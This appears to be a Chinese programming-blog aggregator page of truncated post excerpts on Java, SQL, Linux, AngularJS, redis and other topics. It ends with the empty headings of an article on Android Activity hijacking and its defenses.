package Util; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; public class JDBCUtil { //完
Unsupported major.minor version 51.0（jdk版本错误） oloz java
java.lang.UnsupportedClassVersionError: cn/support/cache/CacheType : Unsupported major.minor version 51.0 (unable to load class cn.support.cache.CacheType) at org.apache.catalina.loader.WebappClassL
用多个线程处理1个List集合 362217990 多线程 thread list 集合
昨天发了一个提问，启动5个线程将一个List中的内容，然后将5个线程的内容拼接起来，由于时间比较急迫，自己就写了一个Demo，希望对菜鸟有参考意义。。 import java.util.ArrayList; import java.util.List; import java.util.concurrent.CountDownLatch; public c
JSP简单访问数据库香水浓 sql mysql jsp
学习使用javaBean，代码很烂，仅为留个脚印 public class DBHelper { private String driverName; private String url; private String user; private String password; private Connection connection; privat
Flex4中使用组件添加柱状图、饼状图等图表 AdyZhang Flex
1.添加一个最简单的柱状图 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?xml version= "1.0"&n
Android 5.0 - ProgressBar 进度条无法展示到按钮的前面 aijuans android
在低于SDK < 21 的版本中，ProgressBar 可以展示到按钮前面，并且为之在按钮的中间，但是切换到android 5.0后进度条ProgressBar 展示顺序变化了，按钮再前面，ProgressBar 在后面了我的xml配置文件如下： [html] view plain copy <RelativeLa
查询汇总的sql baalwolf sql
select list.listname, list.createtime,listcount from dream_list as list , (select listid,count(listid) as listcount from dream_list_user group by listid order by count(
Linux du命令和df命令区别 BigBird2012 linux
1，两者区别 du，disk usage,是通过搜索文件来计算每个文件的大小然后累加，du能看到的文件只是一些当前存在的，没有被删除的。他计算的大小就是当前他认为存在的所有文件大小的累加和。
AngularJS中的$apply，用还是不用？ bijian1013 JavaScript AngularJS $apply
在AngularJS开发中，何时应该调用$scope.$apply()，何时不应该调用。下面我们透彻地解释这个问题。但是首先，让我们把$apply转换成一种简化的形式。 scope.$apply就像一个懒惰的工人。它需要按照命
[Zookeeper学习笔记十]Zookeeper源代码分析之ClientCnxn数据序列化和反序列化 bit1129 zookeeper
ClientCnxn是Zookeeper客户端和Zookeeper服务器端进行通信和事件通知处理的主要类，它内部包含两个类，1. SendThread 2. EventThread， SendThread负责客户端和服务器端的数据通信，也包括事件信息的传输，EventThread主要在客户端回调注册的Watchers进行通知处理 ClientCnxn构造方法 &
【Java命令一】jmap bit1129 Java命令
jmap命令的用法： [hadoop@hadoop sbin]$ jmap Usage: jmap [option] <pid> (to connect to running process) jmap [option] <executable <core> (to connect to a
Apache 服务器安全防护及实战 ronin47
此文转自IBM. Apache 服务简介 Web 服务器也称为 WWW 服务器或 HTTP 服务器 (HTTP Server)，它是 Internet 上最常见也是使用最频繁的服务器之一，Web 服务器能够为用户提供网页浏览、论坛访问等等服务。由于用户在通过 Web 浏览器访问信息资源的过程中，无须再关心一些技术性的细节，而且界面非常友好，因而 Web 在 Internet 上一推出就得到
unity 3d实例化位置出现布置？ brotherlamp unity教程 unity unity资料 unity视频 unity自学
问：unity 3d实例化位置出现布置？答：实例化的同时就可以指定被实例化的物体的位置,即 position Instantiate (original : Object, position : Vector3, rotation : Quaternion) : Object 这样你不需要再用Transform.Position了, 如果你省略了第二个参数(
《重构，改善现有代码的设计》第八章 Duplicate Observed Data bylijinnan java 重构
import java.awt.Color; import java.awt.Container; import java.awt.FlowLayout; import java.awt.Label; import java.awt.TextField; import java.awt.event.FocusAdapter; import java.awt.event.FocusE
struts2更改struts.xml配置目录 chiangfai struts.xml
struts2默认是读取classes目录下的配置文件，要更改配置文件目录，比如放在WEB-INF下，路径应该写成../struts.xml(非/WEB-INF/struts.xml) web.xml文件修改如下： <filter> <filter-name>struts2</filter-name> <filter-class&g
redis做缓存时的一点优化 chenchao051 redis hadoop pipeline
最近集群上有个job，其中需要短时间内频繁访问缓存，大概7亿多次。我这边的缓存是使用redis来做的，问题就来了。首先，redis中存的是普通kv，没有考虑使用hash等解结构，那么以为着这个job需要访问7亿多次redis，导致效率低，且出现很多redi
mysql导出数据不输出标题行 daizj mysql 数据导出去掉第一行去掉标题
当想使用数据库中的某些数据，想将其导入到文件中，而想去掉第一行的标题是可以加上-N参数如通过下面命令导出数据： mysql -uuserName -ppasswd -hhost -Pport -Ddatabase -e " select * from tableName" > exportResult.txt 结果为： studentid
phpexcel导出excel表简单入门示例 dcj3sjt126com PHP Excel phpexcel
先下载PHPEXCEL类文件，放在class目录下面，然后新建一个index.php文件，内容如下 <?php error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE); if (PHP_SAPI == 'cli') die('
爱情格言 dcj3sjt126com 格言
1) I love you not because of who you are, but because of who I am when I am with you. 　　我爱你，不是因为你是一个怎样的人，而是因为我喜欢与你在一起时的感觉。 　　2) No man or woman is worth your tears, and the one who is, won‘t
转 Activity 详解——Activity文档翻译 e200702084 android UI sqlite 配置管理网络应用
activity 展现在用户面前的经常是全屏窗口，你也可以将 activity 作为浮动窗口来使用（使用设置了 windowIsFloating 的主题），或者嵌入到其他的 activity （使用 ActivityGroup ）中。当用户离开 activity 时你可以在 onPause() 进行相应的操作。更重要的是，用户做的任何改变都应该在该点上提交 ( 经常提交到 ContentPro
win7安装MongoDB服务 geeksun mongodb
1. 下载MongoDB的windows版本：mongodb-win32-x86_64-2008plus-ssl-3.0.4.zip，Linux版本也在这里下载，下载地址： http://www.mongodb.org/downloads 2. 解压MongoDB在D:\server\mongodb, 在D:\server\mongodb下创建d
Javascript魔法方法:__defineGetter__,__defineSetter__ hongtoushizi js
转载自： http://www.blackglory.me/javascript-magic-method-definegetter-definesetter/ 在javascript的类中,可以用defineGetter和defineSetter_控制成员变量的Get和Set行为例如,在一个图书类中,我们自动为Book加上书名符号: function Book(name){
错误的日期格式可能导致走nginx proxy cache时不能进行304响应 jinnianshilongnian cache
昨天在整合某些系统的nginx配置时，出现了当使用nginx cache时无法返回304响应的情况，出问题的响应头： Content-Type:text/html; charset=gb2312 Date:Mon, 05 Jan 2015 01:58:05 GMT Expires:Mon , 05 Jan 15 02:03:00 GMT Last-Modified:Mon, 05
数据源架构模式之行数据入口 home198979 PHP 架构行数据入口
注：看不懂的请勿踩，此文章非针对java，java爱好者可直接略过。一、概念行数据入口（Row Data Gateway）：充当数据源中单条记录入口的对象，每行一个实例。二、简单实现行数据入口为了方便理解，还是先简单实现： <?php /** * 行数据入口类 */ class OrderGateway { /*定义元数
Linux各个目录的作用及内容 pda158 linux 脚本
1）根目录“/” 　　根目录位于目录结构的最顶层，用斜线（/）表示，类似于 Windows 操作系统的“C:\“，包含Fedora操作系统中所有的目录和文件。　　2）/bin 　　/bin 　　目录又称为二进制目录，包含了那些供系统管理员和普通用户使用的重要 linux命令的二进制映像。该目录存放的内容包括各种可执行文件，还有某些可执行文件的符号连接。常用的命令有：cp、d
ubuntu12.04上编译openjdk7 ol_beta HotSpot jvm jdk OpenJDK
获取源码从openjdk代码仓库获取(比较慢) 安装mercurial Mercurial是一个版本管理工具。 sudo apt-get install mercurial 将以下内容添加到$HOME/.hgrc文件中，如果没有则自己创建一个： [extensions] forest=/home/lichengwu/hgforest-crew/forest.py fe
将数据库字段转换成设计文档所需的字段 vipbooks 设计模式工作正则表达式
哈哈，出差这么久终于回来了，回家的感觉真好！ PowerDesigner的物理数据库一出来，设计文档中要改的字段就多得不计其数，如果要把PowerDesigner中的字段一个个Copy到设计文档中，那将会是一件非常痛苦的事情。

Activity劫持实例与防护手段

（本文只用于学习技术，提高大家警觉，切勿用于非法用途！）

什么叫Activity劫持

实例

防护手段

你可能感兴趣的:(Android开发)